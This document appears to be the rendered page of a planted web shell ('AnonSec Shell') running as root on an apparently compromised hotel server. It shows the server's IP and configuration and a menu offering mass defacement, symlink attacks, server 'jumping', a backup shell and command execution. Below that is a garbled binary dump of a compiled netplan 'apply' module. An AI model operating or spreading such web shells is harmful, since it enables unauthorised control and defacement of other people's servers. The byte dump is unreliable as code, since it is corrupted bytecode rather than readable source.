AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/share/netplan/netplan/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/usr/share/netplan/netplan/cli/commands/__pycache__/apply.cpython-310.pyc
o

|hEc"M�@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
mZddlm
Z
mZddlmZddlmZdZGdd�dej�ZdS)	znetplan apply command line�N)�
ConfigManager�ConfigurationError)�apply_sriov_config)�apply_ovs_cleanupznetplan-ovs-cleanup.servicecsxeZdZ�fdd�Zdd�Zddd	�Zed
d��Zegfdd
��Zede	fdd��Z
eddd��Zeddd��Z�Z
S)�NetplanApplycs(t�jdddd�d|_d|_d|_dS)N�applyz.Apply current netplan config to running systemT)�
command_id�description�leafF)�super�__init__�
sriov_only�only_ovs_cleanup�state��self��	__class__��0/usr/share/netplan/netplan/cli/commands/apply.pyr*s�
zNetplanApply.__init__cCsP|jjdddd�|jjdddd�|jjddd	�|j|_|��|��dS)
Nz--sriov-only�
store_truez0Only apply SR-IOV related configuration and exit)�action�helpz--only-ovs-cleanupz1Only clean up old OpenVSwitch interfaces and exitz--statez0Directory containing previous YAML configuration)r)�parser�add_argument�
command_apply�func�
parse_args�run_commandrrrr�run2s
�
��zNetplanApply.runTFNc&Cs�t�}|r||_|jrt�||�dS|jr t�|dd|�dSdtjvr[t	�
d�}|dur2td��t�
|ddddd	dd
g�}|dkrY|rKt�|�n|dkrStd
��td|��dSd}tt�d��}	t�d�}
||
vrr|
�|�t|
�}t�d�}t�|t���}
t|�}g}d}dtjvr�|�ddg�tj}|�t���|r�tj
||d�dkr�|r�t�tj�ntd��t��}tt�d��}|s�|	r�d}t�d�}||vr�|�|�t|�}|s�|r�d}t�d�}|
�t�||��t|�}|s�|r�d}|�rt��|�r)t �!d�t�||||�dg}t�"d��r |�#dd�tj$d||d�nt �!d�|�rft �!d�t�%��re|D] }||
v�rF�q=zt�&d d!|g�W�q=tj'�y]Y�q=wtj(d|d�nt �!d"�t��}|�)�t�*||�}|j�r�t|j�}|�)�|j+�,�}|j+�,�}t�-|||�t��}|D]<}t �!d#|�z"tj.d$d%d&d'|gtj/tj/d(�tj.d$d)d'|gtj/tj/d(�W�q�tj'�y�t �!d*|�Y�q�wt��}|�0�D]F\}}|�1d+�} | �r'||v�r| |v�rt �!d,�2|| ���q�tj.d-d.d/d0|d1gtj/tj/d(�tj.d-d.d/d0|d+|�1d+�gtj/tj/d(��q�t�.gd2��t�.d$d3g�t�||�tj3�4d4��rKt�$d5d6g�|�r�d7d8�t�d9�D�}!d:d8�t�d;�D�}"z
t�5�t�6t�7��Wntj'�y�t �8d<�tj$d=d>gdd�Ynwtj$d5t9gdd�tj$d5|!|"dd�|�r�t�||�D]}t�:|��q�t�.gd?��tj(d5|d�|�r�t;tjd@dA�}#gdB�}$t<dC�D]}%dDtj=|$|#dE�v�r�dSt>�?dF��q�dSdSdS)GNF�SNAP�busctlzmissing busctl utility�callz--quietz--systemzio.netplan.Netplanz/io/netplan/Netplan�Applyr�z'failed to communicate with dbus servicez1failed to communicate with dbus service: error %sz//run/systemd/system/netplan-ovs-cleanup.servicez/run/systemd/network/*netplan-*z!/run/systemd/system/netplan-ovs-*z0/run/NetworkManager/system-connections/netplan-*�NETPLAN_PROFILE�valgrindz--leak-check=full)�stderrz(the configuration could not be generatedTzDnetplan generated networkd configuration changed, reloading networkdznetplan-wpa-*.serviceznetplan-wpa@*.service�stop)�syncz2no netplan generated networkd configuration existsz9netplan generated NM configuration changed, restarting NM�device�
disconnectz,no netplan generated NM configuration existsz%netplan triggering .link rules for %s�udevadmztest-builtin�net_setup_linkz/sys/class/net/)�stdoutr'�testz#Ignoring device without syspath: %s�namez+Interface rename {} -> {} already happened.�ip�link�set�dev�down)r,�triggerz--attr-match=subsystem=net�settlez*/run/systemd/system/netplan-regdom.service�startznetplan-regdom.servicecSsg|]}tj�|��qSr)�os�path�basename��.0�frrr�
<listcomp>sz.NetplanApply.command_apply.<locals>.<listcomp>z1/run/systemd/system/*.wants/netplan-wpa-*.servicecSs&g|]}|�dt�stj�|��qS)�/)�endswith�OVS_CLEANUP_SERVICEr9r:r;r<rrrr?
s�z1/run/systemd/system/*.wants/netplan-ovs-*.servicez:Falling back to a hard restart of systemd-networkd.service�restartzsystemd-networkd.service)�rmz-rfz/run/NetworkManager/devices�C)�LC_ALL)�nmcli�general�status�s

connected)�envg�������?)@rrr
r�process_sriov_configr�process_ovs_cleanupr9�environ�shutil�which�RuntimeError�
subprocessr"�sys�exit�PermissionError�bool�glob�remove�utils�
nm_interfaces�	netifaces�
interfaces�extend�STDOUT�append�get_generator_path�	EX_CONFIGr�update�systemctl_daemon_reload�logging�debug�systemctl_is_active�insert�	systemctl�
nm_runningrG�CalledProcessError�systemctl_network_manager�parse�process_link_changes�virtual_interfaces�keys�clear_virtual_links�
check_call�DEVNULL�items�get�formatr:�exists�networkctl_reload�networkctl_reconfigure�networkd_interfaces�warningrB�
ip_addr_flush�dict�range�check_output�time�sleep)&r�run_generater)�
exit_on_error�	state_dir�config_managerr!�res�ovs_cleanup_service�old_files_networkd�old_ovs_glob�
old_files_ovs�old_nm_glob�	nm_ifaces�old_files_nm�generator_call�generate_out�devices�restart_networkd�restart_ovs_glob�restart_ovs�restart_nm_glob�
restart_nm�wpa_servicesr*�changes�cm�
prev_links�
curr_links�devices_after_udev�iface�settings�new_name�netplan_wpa�netplan_ovsrK�cmd�_rrrr?sP

���











��



�����
�

���
��	zNetplanApply.command_applycCsV|D]&}|��D]\}}t|�turq|�dg�}|D]}||kr&dSqqqdS)zp
        Is this physical interface a member of a 'composite' virtual
        interface? (bond, bridge)
        r\TF)rs�typer|rt)�
composites�phy�	compositer�r��membersr�rrr�is_composite_member,s
���z NetplanApply.is_composite_memberc	Cs�|s	t�d�gStt|�t|��}tt|��|��}|D]"}zdddd|g}t�|�Wqtjy@t�d�	|��Yqw|S)a%
        Calculate the delta of virtual links. And remove the links that were
        dropped from the YAML config, if they were not dropped by the backend
        already.
        We can make use of the netplan netdef ids, as those equal the interface
        name for virtual links.
        z;Cannot clear virtual links: no network interfaces provided.r1r2�deleter4zCould not delete interface {})
rdrz�listr3�intersectionrRrqrj�warnru)r�r�r��dropped_interfaces�interfaces_to_clearr2r�rrrrp=s	
�z NetplanApply.clear_virtual_linksr�cCs�i}|j|jg}|j��D]Q}|j}|sq
|jsq
t�||j�r*t	�
d�|j��q
t�
||�}|s<t	�d�|j��q
||krIt	�
d�|��q
|jrXt	�d�|j||��q
d|i||<q
t	�
d�|��|S)z�
        Go through the pending changes and pick what needs special handling.
        Only applies to non-critical interfaces which can be safely updated.
        zSkipping composite member {}z,Cannot find unique matching interface for {}z&Skipping correctly named interface: {}zLCannot rename {} ({} -> {}) at runtime (needs reboot), due to being criticalr0zLink changes: {})�bridges�bonds�physical_interfaces�values�set_name�	has_matchrr��idrdrerurY�find_matching_ifacerz�critical)r\r�r��composite_interfaces�netdef�newname�current_iface_namerrrrmWs4�z!NetplanApply.process_link_changesc
Csbzt|�WdStjy0}zt�t|��|r%t�d�WYd}~dSWYd}~dSd}~ww�N�)rrY�
config_errorsrd�error�strrSrT)r�r��errrrL�s���z!NetplanApply.process_sriov_configc
Cshz	t|||�WdSttfy3}zt�t|��|r(t�d�WYd}~dSWYd}~dSd}~wwr�)r�OSErrorrQrdr�r�rSrT)r��ovs_old�ovs_currentr�r�rrrrM�s���z NetplanApply.process_ovs_cleanup)TFTN)T)�__name__�
__module__�__qualname__rrr�staticmethodr�rprrmrLrM�
__classcell__rrrrr(s

n
+r)�__doc__rdr9rSrWrRrOr[r�netplan.cli.utils�clirY�netplan.configmanagerrr�netplan.cli.sriovr�netplan.cli.ovsrrB�NetplanCommandrrrrr�<module>s

Anon7 - 2022
AnonSec Team